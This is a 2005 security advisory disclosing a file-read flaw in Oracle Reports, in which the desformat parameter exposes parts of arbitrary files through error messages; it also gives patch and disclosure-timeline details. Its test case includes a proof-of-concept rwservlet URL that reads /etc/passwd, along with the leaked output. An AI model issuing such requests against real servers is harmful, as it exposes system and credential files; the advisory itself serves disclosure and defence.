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Read parts of any file via desformat in Oracle Reports

Name Read parts of any file via desformat in Oracle Reports
Severity Medium Risk
Category Information disclosure
Vendor URL http://www.oracle.com/
Author Alexander Kornbrust (ak at red-database-security.com)
Date 25 August 2005 (V 1.02)
Cert VU# 925261
CVE CAN-2005-2378
Oracle Bugid 5883621 (REP05)
Time to fix
874 days ago


Details
Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool.

It enables businesses to give immediate access to information to all levels within and outside of the
organization in an unrivaled scalable and secure environment. Oracle Reports, a component of the Oracle
Application Server, is used by Oracle itself for the E-Business Suite. Many large customers are using Oracle
Reports as reporting tool for their enterprise applications.

The Oracle Reports parameter desformat can read any file by using an absolute or relative file name.
Parts of the file content are displayed in the Reports error message (see test case)

The DESFORMAT parameter specifies the format for the job output. In bit-mapped environments,
use DESFORMAT to specify the printer driver to be used when DESTYPE is FILE.
In character-mode environments, use it to specify the characteristics of the printer named in DESNAME.



Affected Products
Internet Application Server
Oracle Application Server
Oracle Developer Suite

Patch Information
This bug is finally fixed with Critical Patch Update January 2006.


Testcase
http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+
userid=scott/tiger@iasdb+destype=file+MODE=CHARACTER+desformat=/etc/passwd

***Reports Output****

REP-3002: Error in column 5 of line 1 of printer definition file /etc/passwd:
Unknown keyword "root".
REP-3002: Error initializing printer. Please make sure a printer is installed.

***Reports Output****


History
27-aug-2003 Oracle secalert was informed
27-aug-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this vulnerability will publish after CPU July 2005
Red-Database-Security offered Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.
12-jul-2005 Oracle published CPU July 2005 without fixing this issue
18-jul-2005 Red-Database-Security published this advisory
25-aug-2005 CVE number added
13-jan-2005 days since initial report updated
17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU January 2006)
19-jan-2006 Oracle Vuln# REP05


© 2006 by Red-Database-Security GmbH - last update 19-jan-2006

Oracle Reports

Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool.

It enables businesses to give immediate access to information to all levels within and outside
of the organization in an unrivaled scalable and secure environment. Oracle Reports consists of
Oracle Reports Developer (a component of the Oracle Developer Suite) and Oracle Application Server
Reports Services (a component of the Oracle Application Server).